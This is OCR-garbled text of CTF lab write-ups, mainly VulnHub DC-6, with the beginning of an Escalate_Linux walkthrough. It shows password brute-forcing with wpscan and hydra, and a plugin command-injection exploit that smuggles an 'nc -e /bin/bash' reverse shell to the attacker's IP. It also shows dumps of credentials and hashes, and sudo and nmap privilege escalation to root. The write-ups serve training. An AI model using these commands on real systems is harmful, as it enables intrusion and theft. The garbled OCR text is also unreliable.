/var/www/html/wp-config.php | | /home/mark/stuff/things-to-do.txt

Y Y
mysql: wpdbuser/meErKatZ ssh: graham/GSo7isUM1D4
Y Y
mysql shell: graham
Y Y

select user_login, user_pass from wp_users; /home/jens /backups.sh

sudo -u jens /home/jens/backups.sh

Y

shell: jens

Y

echo os.execute('/bin/bash') >nse & sudo nmap --script=nse

Y

shell: root

Y

/root/theflag.txt

Figure 2: writeupéoverview.killchain




TTPs

1. 80/tcp/http/Apache httpd 2.4.25 ((Debian)): enumerate_app_ wordpress, exploit_ wordpress_ plugin_ activitymonitor,
privesc_mysql_creds, privesc_sudo, privesc_nmap


https://github.com/7h3rAm/writeups#enumerate_app_wordpress
https://github.com/7h3rAm/writeups#exploit_wordpress_plugin_activitymonitor
https://github.com/7h3rAm/writeups#privesc_mysql_creds
https://github.com/7h3rAm/writeups#privesc_sudo
https://github.com/7h3rAm/writeups#privesc_nmap
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Phase #1: Enumeration

1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Tue Sep 10 18:09:50 2019 as: mmap —-vv —--reason —Pn -sV -sC
s —-—verston-all -oN /root/toolboxz/vulnhub/dc6/results/wordy/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/vulnhub/dc6/results/wordy/scans/xzml/_quick_tcp_nmap.zml wordy

Nmap scan report for wordy (192.168.92.170)

Host is up, received arp-response (0.00024s latency) .

Scanned at 2019-09-10 18:09:51 PDT for 8s

Not shown: 998 closed ports

Reason: 998 resets

PORT  STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 64 OpenSSH 7.4pl Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDDHiBBFUtpwl1T9DZyoXpMp3kg25/

< RgmGZRFFmZuTfV9SJPxJCvrQXdM6P5GfFLFcgnL1cOBhBbv33N9HvWisycRypKOuLK26bntqf yTAFCdMXcud7fKNgRBxJdN8onwl4H

=3 + |

~ WLpN7Kihos jpbwzPpOnbDQZUw7GdHvosV7dFI6IMcF57R4G5LzSgV66GACNGxRn7 2ypwf0MaVbsoxzCHQCIBvd8ULLOYeAFtNeHoyJ

< +en701iDgL6T/iyt3wwTD17NwpZGj5+GrlyfRSFoNyHqddOx jPmXyoHynp

| 256 3c:83:65:71:dd:73:d7:23:£8:83:0d:e3:46:bc:b5:6f (ECDSA)

| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbm1zdHAyNTYAAABBBE+jke+
< Tnp4l7EWfOwgySSp3MtYFcI6k1lVOWm7tDjas8eDxc9jYOhR4uK7koa2CkQPDd18XJStOyNAGQFBb7wzI=
| 256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)

| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAII1mnJveN8yJySEDhG8w]jYqtSKmcYNAX5EVqzxYb92dP
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))

| _http-generator: WordPress 5.1.1

| http-methods:

| _ Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.4.25 (Debian)

| _http-title: Wordy &#8211; Just another WordPress site

MAC Address: 00:0C:29:F1:97:73 (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Tue Sep 10 18:09:59 2019 -- 1 IP address (1 host up) scanned in 8.96 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports
# Port Protocol Service Scans

1. 22/tep ssh ttl 64 OpenSSH 7.4pl Debian 10+deb9ué (protocol 2.0) ./results/wordy/scans/tcp_22_ssh_nmap.txt

Figure 3: writeup.enumeration.steps.2.1

3. We start with 80/tcp and are presented with a Wordpress installation. We run wpscan to enumerate users and
find 5 hits:


https://github.com/Tib3rius/AutoRecon

1 admin, graham, mark, sarah and jens

[+] Enumerating usernames
[+] We identified the following 5 users:

s i oo -+
| ID | Login | Name |
e il e +
| 1 | admin | admin |
| 2 | graham | Graham Bond |
| 3 | mark | Mark Jones |
| 4 | sarah | Sarah Balin |

| | |

Jens Dagmeister
['] Default first WordPress username 'admin' is still used

[+] Finished: Tue Sep 10 18:13:31 2019
[+] Elapsed time: 00:00:22

[+] Requests made: 5049

[+] Memory used: B86.387 MB

root@kali: ~/toolbox/data/vulnhub/dc6 #

Figure 4: writeup.enumeration.steps.3.1

Findings

Open Ports
1 22/tcp | ssh | OpenSSH 7.4pl Debian 10+deb9ué (protocol 2.0)
2 80/tcp | http | Apache httpd 2.4.25 ((Debian))

Users

1 ssh: graham, mark, sarah, jens
2 wordpress: admin, graham, mark, sarah, jens



Phase #2: Exploitation

1. The VulnHub page for this VM gave a clue to create a custom wordlist from rockyou.txt to save time on
bruteforce. This was a good starting point:

1 cat /usr/share/wordlists/rockyou.txt | grep kOl > passwords.txt

2. We run a Wordpress password bruteforce scan and find a hit for user mark:

1 wpscan --url http://wordy/ --wordlist ./passwords.txt -+ helpdeskO1

Default first WordPress username 'admin’' is still used
+] Starting the password brute forcer
Brute Forcing ‘admin’ Time: 00:01:48 > (2668 / 2669) 99.96% ETA: 00:00:00
Brute Forcing 'graham' Time: 00:02:11 > (2667 / 2669) 99.92% ETA: 00:00:00
[+] [SUCCESS] Login : mark Password : helpdeskel

Brute Forcing 'sarah' Time: 00:03:07 > (2667 / 2669) 99.92% ETA: 00:00:00
Brute Forcing ‘jens' Time: ©0:01:40 > (2667 / 2669) 99.92% ETA: 00:00:00

admin | admin
graham | Graham Bond
Mark Jones
sarah Balin

[+] Finished: Tue Sep 10 18:41:21 2019
| Elapsed time: 00:10:40

+] Requests made: 12637

[+] Memory used: 29.797 B

root@kali: ~/toolbox/data/vulnhub/dcé #

Figure 5: writeup.exploitation.steps.2.1

3. Running a Wordpress password bruteforce scan using hydra gave similar results:

1 hydra -1 mark -P passwords.txt 192.168.92.170 http-post-form
o "/wp-login.php:log=mark&pwd="PASS~:ERROR" -+ helpdeskO1

root@kali: -~/toolbox/data/vulnhub/dct # hydra -1 mark -P passwords.txt 192.168.92.170 http-post-form
"/wp-login.php:log=mark&pwd="PAS5":ERROR"

Hydra v8.6 {(c) 2817 by van Hauser/THC - Please do not use in military or secret service organizations
, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-10 18:28:35

[DATA] max 16 tasks per 1 server, overall 16 tasks, 2668 legin tries (l:1/p:®), ~2668 tries per task
[DATA] attacking http-post-form://192.168.92.170:80//wp-login.php:log=mark&pwd="PASS™:ERROR

[STATUS] 540.00 tries/min, 540 tries in 00:08h, 0 to do in 01:08h, 2128 active

[STATUS] 533.33 tries/min, 1608 tries in ©8:00h, © to do in 63:08h, 1868 active

[86][http-post yrm] host: 192.168.92.170 login: marl password: lesko]

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2019-09-10 18:32:25

root@kali: ~/toolbox/data/vulnhub/dc6 #

Figure 6: writeup.exploitation.steps.3.1

4. We use these credentials and login as user mark:



@ NewTab X | Dashboard « Wordy — Worc % | hitpi/Awordy/wp-links-opml | % | +
< @ @ wordyhwp-admir
5 links

-4 20 % CINEDG» =

WordPress 5.2.3 is availablel Please notify the site administrator

Dashboard
At a Glance - Quick Draft -
A 1eost W 3Pages T
® 1 comment
hat's on your mind?
WordPress 5.1.1 running Twenty Seventeen theme.
Activity a
Recently Published
Apr 24th, 1252 pm Hello world!
WordPress Events and News -

Figure 7: writeup.exploitation.steps.4.1

5. This installation has Activity Monitor plugin installed. There’s an exploit for this plugin on ExploitDB:

root@kali: # ss wordpress activity monitor

| Path
| (/usr/share/exploitdb/)

Shellcodes: Mo Result
root@kali: #

Figure 8: writeup.exploitation.steps.5.1

6. We update the exploit with right IPs and chnage the nc commandline. This file when opened shows a HTML
button which when clicked will execute the command and return a reverse shell:

root@kali: #
root@kali: # cat 45274.html
<html>

<!-- Wordpress Plainview Activity Monitor RCE

[+] version: 20161228 and possibly prior
[+] Description: Combine 0S Commanding and CSRF to get reverse shell
[+] Author: LydA(c)ric LEFEBVRE
[+] CVE-ID: CVE-2018-15877
[+] usage: Replace 127.8.0.1 & 9999 with you ip and port to get reverse shell
[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
-=>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://wordy/wp-admin/admin.php7page=plainview activity monitor&tab=activity tools" method="P0OST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr| nc 192.168.92.163 443 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />

</form>
</body>
</html>
root@kali: #
Figure 9: writeup.exploitation.steps.6.1
@ NewTab X | http://wordy/wp-links-opml.| X | Dashboard « Wordy — Word X | /root/toolbox/datafvulnhub/c X | +
= it @ file:///root/toolbox/datafvulnhub/dc6/45274.html
5 links
Submit request

Figure 10: writeup.exploitation.steps.6.2
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root@kali: ~/toolbox/data/vulnhub/dc6 # nc -1lvp 443
listening on [any] 443 ...
connect to [192.168.92.163] from wordy [192.168.92.170] 60492
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux dc-6 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86 64 GNU/Linux
ifconfig
ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.8.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6é ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: etho: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 gdisc pfifo_fast state UP group default glen loe0@
link/ether 00:0c:29:f1:97:73 brd ff:ff:Fff:ff:Ff:7f
inet 192.168.92.178/24 brd 192.168.92.255 scope global eth@
valid 1ft forever preferred 1ft forever
inet6 feB80::20c:29ff:fefl:9773/64 scope link
valid 1ft forever preferred 1ft forever

Figure 11: writeup.exploitation.steps.6.3

Phase #2.5: Post Exploitation

www-data@dc-6> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@dc-6>
www-data@dc-6> uname
Linux dc-6 4.9.0-8-amd64 #1 SMP Debtian 4.9.144-3.1 (2019-02-19) z86_64 GNU/Linuz
www-data@dc-6>
www-data@dc-6> ifconfig

2: ethO: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default
< qlen 1000

link/ether 00:0c:29:£1:97:73 brd ff:ff:ff:ff:ff:ff

inet 192.168.92.170/24 brd 192.168.92.255 scope global ethO
valid_l1ft forever preferred_lft forever
inet6 fe80::20c:29ff:fef1:9773/64 scope link
valid_lft forever preferred_lft forever

www-data@dc-6>

www-data@dc-6> users

graham
mark

sarah

jens



Phase #3: Privilege Escalation
1. Exploring the filesystem, we come across /var/www/html/wp-config.php file that has MySQL credentials in it:

1 wpdbuser/meErKatZ

www-data@dc-6:/var/www/html$ cat wp-config.php

<7php
‘,J'**
* The base configuration for WordPress
#
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the wvalues.
#
* This Tile contains the following configurations:
+:
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing wp-config.php
#
* @package WordPress
ol

/7 ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress #*/

define('WP HOME', 'http://wordy');
define('WP SITEURL', 'http://wordy');

define( 'DB NAME', 'wordpressdb' );

/** MySQL datab

se username */
. 'wpdbuser' );

d
define( 'DB USER'

/** MySQL database password */
define( 'DB PASSWORD', ‘'meErKatZ' );

/**¥ MySQL hostname */
define( 'DB HOST', 'localhost' );

Figure 12: writeup.privesc.steps.1.1

2. We also extract hashes for all Wordpress users from wp_users table:



Database changed
MariaDB [wordpressdb]> show tables;

| Tables in wordpressdb |

+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp postmeta |
| wp posts |
| wp pv am activities |
| wp term relationships |
| wp term taxonomy |
| wp termmeta |
| wp terms |
| wp usermeta |
| wp users
+

13 rows in set (0.00 sec)

MariaDB [wordpressdb]> select * from wp users;

e e e B B e e +-
——————————— +

| ID | user login | user pass user nicename | user email

ay name |
B e e e e B B e e T +-
----------- +

| 1 | admin | $P$BDhivaY.kOYzAN8B8XmDbzGEGhpbb2LAl | admin | blah@blahblahblahl.net.au

|

| 2 | graham | $P$B/m518xC41PJAbCZzbRXKilHMbSoFE41 | graham | graham@blahblahblahl.net.au |
m Bond |

| 3 | mark | $P$BdDISehZKO5B/c]58HOj1hU1J9t810/ | mark | mark@blahblahblahl.net.au
Jones |

| 4 | sarah | $P$BEDLXtO6PUNSiB61VaYkquIMO/qgx.3/ | sarah | sarah@blahblahblahl.net.au
Balin |

| 5 | jens | $P$B//75HFVPBwqsUTvKBCcHABi4DUJ7Ru® | jens | jens@gblahblahblahl.net.au
Dagmeister |
R e R e e LR e e +-
——————————— +

5 rows in set (0.08 sec)

MariaDB [wordpressdb]=

Figure 13: writeup.privesc.steps.2.1

3. Exploring filesystem further, we find credentials for user graham within the /home/mark/stuff/things-to-do.txt
file:

1 graham/GSo7isUM1D4

10



www—dataédc—ﬁ:}home$ 1s -1 ./*
./graham:
total @

.J/jens:
total 4
-TwXrwxr-x 1 jens devs 60 Sep 11 14:54 backups.sh

./mark:
total 4
drwxr-xr-x 2 mark mark 4896 Apr 26 01:56 stuff

./sarah:

total @

www-data@dc-6: /home$

www-data@dc-6:/home$ 1s -1 mark/stuff/things-to-do.txt

-rw-r--r-- 1 mark mark 241 Apr 26 01:53 mark/stuff/things-to-do.txt
www-data@dc-6:/homes

www-data@dc-6: /home$

www-data@dc-6:/home$ cat mark/stuff/things-to-do.txt

Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party

- Add new user: graham - GS071sUM1D4 - done|
- Apply for the 0SCP course

- Buy new laptop for Sarah's replacement
www-data@dc-6:/homes

Figure 14: writeup.privesc.steps.3.1

4. We ssh into the system as user graham to gain interactive access:

rootékali: ~/toolbox/data/vulnhub/dcé # ssh graham@l92.168.92.170
graham@l92.168.92.170's password:
Linux dc-6 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86 64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Sep 11 14:53:11 2019 from 192.168.92.163

-bash: warning: setlocale: LC ALL: cannot change locale (en US.UTF-8)
-bash: warning: setlocale: LC ALL: cannot change locale (en US.UTF-8)
-bash: warning: setlocale: LC ALL: cannot change locale (en US.UTF-8)
¢ ;.;.$

i -4 id

u1d 1001(graham) gid=1001(graham) groups=1001(graham),1005(devs)

=3

C G :~% uname -a

Linux dc-6 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86 64 GNU/Linux

i i:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: eth®: <BROADCAST,MULTICAST,UP, LOWER UP= mtu 1500 qdisc pfife fast state UP group default glen 1000
link/ether 00:0c:29:T1:97:73 brd ff:ff:ff:ff:ff:ff
inet 192.168.92.170/24 brd 192.168.92.255 scope global ethe
valid 1ft forever preferred 1ft forever
inetb feBO::20c:29ff:fefl:9773/64 scope link
valid 1ft forever preferred 1ft forever
_$

Figure 15: writeup.privesc.steps.4.1
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5. User graham can edit and execute the /home/jens/backups.sh as user jens. We modify the script to execute
a shell and gain interactive access as user jens:

| =:~$ sudo -1
Matchlng Defaults entries for graham on dc-6:
env_reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
(jens) NDPASSWD: /home/jens/backups.sh

Matchlng Defaults entries for graham on dc-6:
env _reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
51 ~%
i:~% cat /home/jens/backups.sh

#I/bln/bash
tar -czf backups.tar.gz /var/www/html
/bin/bash

~%

~% sudo -u jens /home/jens/backups.sh

/bin/bash: warning: setlocale: LC AlLl: cannot change locale (en US.UTF-8)
tar: Removing leading " /' from member names

tar (child): backups.tar.gz: Cannot open: Permission denied

tar (child): Error is not recoverable: exiting now

tar: backups.tar.gz: Wrote only 4896 of 1024@ bytes

tar: Child returned status 2

tar: Error is not recoverable: exiting now

bash: warning: setlocale: LC ALL: cannot change locale (en US.UTF-8)
bash warning: setlocale: LC ALL: cannot change locale (en US.UTF-8)
ens@dc-6:/home/graham$ id

d 1004(jens) gid=1084(jens) groups=1004(jens), 1005 (devs)
jens@dc-6:/home/graham$

Figure 16: writeup.privesc.steps.5.1

6. User jens can execute /usr/bin/nmap as root. We use this to gain elevated privileges and read the flag:

jens@dc-6: /home/graham$ cd /tmp/
jens@dc-6: /tmp$
jens@dc-6:/tmp$ echo "os.execute('/bin/sh')" >shell.nse && sudo nmap --script=shell.nse

Starting Nmap 7.40 ( https://nmap.org ) at 2019-89-11 15:08 AEST
# uld=0(root) gid=0(root) groups=@(root)
# Linux dc-6 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86 64 GNU/Linux
# 1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: ethe: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo_ fast state UP group default glen 1000
link/ether 00:0¢c:29:f1:97:73 brd ff:ff:ff:ff:Ff:FF
inet 192.168.92.170/24 brd 192.168.92.255 scope global ethe
valid 1ft forever preferred 1ft forever
inet6 feB0::20c:29ff:fefl:9773/64 scope link
valid 1ft forever preferred 1ft forever

Figure 17: writeup.privesc.steps.6.1
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jens@dc-6:/tmp$ echo "os.execute('/bin/sh')" =»shell.nse && sudo nmap --script=shell.nse

Starting Nmap 7.40 ( https://nmap.org ) at 2019-89-11 15:09 AEST
#
# id
uid=0(root) gid=0(root) groups=0(root)
=
# uname -a
Linux dc-6 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86 64 GNU/Linux
#
# ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: eth@: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo_ fast state UP group default glen 1000
link/ether 00:0c:29:f1:97:73 brd ff:ff:ff:ff:Ff:FfF
inet 192.168.92.170/24 brd 192.168.92.255 scope global ethe
valid 1ft forever preferred 1ft forever
inet6 feB@::20c:29ff:fefl:9773/64 scope link
valid 1ft forever preferred 1ft forever
#
# cat /root/theflag.txt

Yb dP 888888 88 88 8888b. dP"Yb 88b 88 888888 dB8b
Yo db dP 88 88 88 8I Yb dP Yb 88Yb88 88 Y8P
YbdPYbdP gg"" 88 .0 88 .o 8I dY Yb dP 88 Y88 88"" T
YP YP 888888 8Bood8 88oo0d8 8888Y" YbodP 88 Y8 888888 (8)
Congratulations!!!

Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.

Figure 18: writeup.privesc.steps.6.2
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Loot
Hashes

root: $6$kdMFceEg$pkoh93tdD7IomhE7LOY396H06£xSM. XDh9dgeBhKpdZ1M/ |

<  WYxCZe7yPRNHfZ5FvNRuILVp2NOsgNmgjoS............ ... ... ....

graham:$6

< $WF7GkVxM$MOL . cXLpG6UTOOM4exCUFwOEiUhW6bwQa . Frg9CerQbTp . EWAQTzEAuio26Aylv. YPOJPAan10tsUFv6k
mark:$6$//1vISW6$9p12v8IgOmNE7E2mgTQ1lTwZ1zcaepnDyYE41IPJDAX7ipnxm/muPD7DraEm3z0jqDe5iH/ |

o Em2i6YXJpQD........ ... i,
sarah:$6$DoS07Ycr$2GtM5 . BLfx9Sw8X1£DMF . 7zZWDoVoy1892nyp0iFsqh5CEmt EROtxme jvQxuON/ |

o 8D7X8PQAGKYGL.gUb6/.. ... ... .
jens:$6$IWiFWXb8$cGQi07IUqln/uLLVmmrU9VLg7apOH9I1xoyndELCG jLenxfAaVec5Gjaw2DAOQHRWSOhTB5cI2sg/ |
= WERUoo0000000000000000000000¢

Credentials

mysql: wpdbuser/meEr....
ssh: graham/GSo7isU....
wordpress: mark/helpdes. ..

References

[+] https://www.vulnhub.com/entry/dc-6,315/
[+] https://diaryofO0x41.wordpress.com/2019/05/29 /vulnhub-dc-6-walkthrough/
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[VulnHub| Escalate_ Linux: 1

Date: 17/Sep/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ python_ reverseshell, privesc_ mysql creds, privesc_ setuid

Overview

This is a writeup for VulnHub VM Escalate Linux: 1. Here are stats for this machine from machinescli:

machinescli -t --info "vulnhub#323"

# ID Name Rating Difficulty 05 0SCPlike Owned TTPs

privesc_mysql_creds

1. vulnhub#323 Escalate_Linux: 1 ® &
privesc_setuid

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/escalate_linux-1,323/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_python_reverseshell&unscoped_q=exploit_python_reverseshell
https://github.com/7h3rAm/writeups/search?q=privesc_mysql_creds&unscoped_q=privesc_mysql_creds
https://github.com/7h3rAm/writeups/search?q=privesc_setuid&unscoped_q=privesc_setuid
https://www.vulnhub.com/entry/escalate_linux-1,323/
https://github.com/7h3rAm/machinescli

[VulnHub] Escalate_Linux: 1
192.168.92.173 |

Y
‘Phase #1: Enumeration‘

Y

. L Y L Y L Y . Y Y Y Y Y R Y
111/tcp | 137/udp | | 139/tcp| |445/tcp ‘2049/tcp‘ ‘39393/tcp‘ ‘43937/tcp‘ ‘55567/tcp‘ ‘59061/tcp‘ 80/tcp

Y.

‘dirb

A 4

' http://192.168.92.173:80/shell.php |

¥

Phase #2: Exploitatien

¥

python reverse shell

L

user6@osboxes

h 4 .
| Phase #3: Privilege Escalation

X

- Y
setuid files: /home/user3/shell linenum.sh

X

B Y
echo 'bash -p' >>./.script.sh; chmod +x ./.script.sh; /home/user3/shell

mysql default credentials (root/root)

Y

X
root@osboxes

mysql user credentials (mysql/mysql@12345).

Figure 2: writeup.overview killchain

TTPs

1. 80/tcp/http/Apache httpd 2.4.29 ((Ubuntu)):

exploit_ python_ reverseshell, privesc_mysql creds,
privesc__setuid


https://github.com/7h3rAm/writeups#exploit_python_reverseshell
https://github.com/7h3rAm/writeups#privesc_mysql_creds
https://github.com/7h3rAm/writeups#privesc_setuid
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Tue Sep 17 11:47:37 2019 as: mmap —vv —--reason —Pn -sV -sC
» ——version-all —olN

s /root/toolboz/writeups/vulnhub.escalatelinuz/results/192.168.92.173/scans/_quick_tcp_nmap.tzt

< -0X

s /root/toolboz/writeups/vulnhub.escalatelinuz/results/192.168.92.173/scans/zml/_quick_tcp_nmap.zml

o 192.168.92.173
Nmap scan report for 192.168.92.173
Host is up, received arp-response (0.00026s latency) .
Scanned at 2019-09-17 11:47:38 PDT for 20s
Not shown: 995 closed ports
Reason: 995 resets
PORT STATE SERVICE
80/tcp open http
| http-methods:
| _ Supported Methods: OPTIONS HEAD GET POST
| _http-server-header: Apache/2.4.29 (Ubuntu)
| _http-title: Apache2 Ubuntu Default Page: It works

REASON VERSION
syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))

111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100003 3 2049/udp nfs

| 100003 3,4 2049/tcp nfs

| 100005 1,2,3 43318/udp mountd

| 100005 1,2,3 43937/tcp mountd

| 100021 1,3,4 39393/tcp nlockmgr

| 100021 1,3.,4 47990/udp nlockmgr

| 100227 3 2049/tcp nfs_acl

[_ 100227 3 2049/udp nfs_acl

139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)

2049/tcp open
MAC Address:
Service Info:

nfs_acl syn-ack ttl 64 3 (RPC #100227)

00:0C:29:A6:A7:B9 (VMware)

Host: LINUX

Host script results:

| _clock-skew: mean: 1h20mOls, deviation: 2h18m34s, median: Os

| nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:

LINUX<00> Flags: <unique><active>
LINUX<03> Flags: <unique><active>
LINUX<20> Flags: <unique><active>
\x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
WORKGROUP<00> Flags: <group><active>
WORKGROUP<1d> Flags: <unique><active>

Flags: <group><active>

Statistics:

00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00
p2p-conficker:

Checking for Conficker.C or higher...

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

|

|

|

|

|

|

| WORKGROUP<1e>
|

|

|

| 00 00 00 00 00
|

|
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|  Check 1 (port 55304/tcp): CLEAN (Couldn't connect)

| Check 2 (port 61557/tcp): CLEAN (Couldn't connect)

| Check 3 (port 38128/udp): CLEAN (Timeout)

|  Check 4 (port 2678/udp): CLEAN (Failed to receive data)

|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:

| 0S: Windows 6.1 (Samba 4.7.6-Ubuntu)

|  Computer name: osboxes

|  NetBIOS computer name: LINUX\x00

|  Domain name: \x00

| FQDN: osboxes

|_  System time: 2019-09-17T14:47:54-04:00

| smb-security-mode:

|  account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

| smb2-security-mode:

| 2.02:

l_ Message signing enabled but not required

| smb2-time:

| date: 2019-09-17 11:47:54

| _ start_date: N/A

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap dome at Tue Sep 17 11:47:58 2019 -- 1 IP address (1 host up) scanned in 21.30 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports

# Port Protocol Service Scans

./results/192.168.92.173/scans/tcp_80_http_dirb. txt
./results/192.168.92.173/scans/tcp_80_http_nikto.txt
1. 80/tcp http ttl 64 Apache httpd 2.4.29 ((Ubuntu)) ./results/192.168.92.173/scans/tcp_80_http_nmap.txt
./results/192.168.92.173/scans/tcp_80_http_robots.txt
./results/192.168.92.173/scans/tcp_80_http_whatweb.txt

./results/192.168.92.173/scans/enum4linux. txt
4. 139/tep netbios-ssn  ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) ./results/192.168.92.173/scans/smbclient. txt
./results/192.168.92.173/scans/tcp_139_smb_nmap. txt
./results/192.168.92.173/scans/enum4linux. txt
5. 445/tep nethios-ssn  ttl 64 Samba smbd &4.7.6-Ubuntu {workgroup: WORKGROUF) ./results/192.168.92.173/scans/smbclient. txt
./results/192.168.92.173/scans/tcp_445_smb_nmap. txt
.lres ) 173 t ) _nf r -Ext

!

6. 2049/tcp nfs_acl ttl 64 3 (RPC #100227)

39393/tcp nlockmgr ttl 64 1-4 (RPC #100021)

0. 59061/tcp mountd ttl 64 1-3 (RPC #100005)

Figure 3: writeup.enumeration.steps.2.1

3. Found a shell.php file on 80/tcp using dirb:

DIRB v2.22


https://github.com/Tib3rius/AutoRecon
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By The Dark Raver

OUTPUT_FILE: /root/toolbox/writeups/vulnhub.escalatelinux/results/192.168.92.173/scans/
~ tcp_80_http_dirb.txt

START_TIME: Tue Sep 17 11:47:59 2019

URL_BASE: http://192.168.92.173:80/

WORDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/common.txt

OPTION: Printing LOCATION header

OPTION: Not Recursive

OPTION: Silent Mode

EXTENSIONS_LIST: (,.txt,.html,.php,.asp,.aspx) | () (.txt)(.html) (.php) (.asp) (.aspx) [NUM = 6]

GENERATED WORDS: 4593

-—-—-- Scanning URL: http://192.168.92.173:80/ ----

+ http://192.168.92.173:80/index.html (CODE:200|SIZE:10918)
+ http://192.168.92.173:80/index.html (CODE:200|SIZE:10918)
+ http://192.168.92.173:80/server-status (CODE:403|SIZE:302)
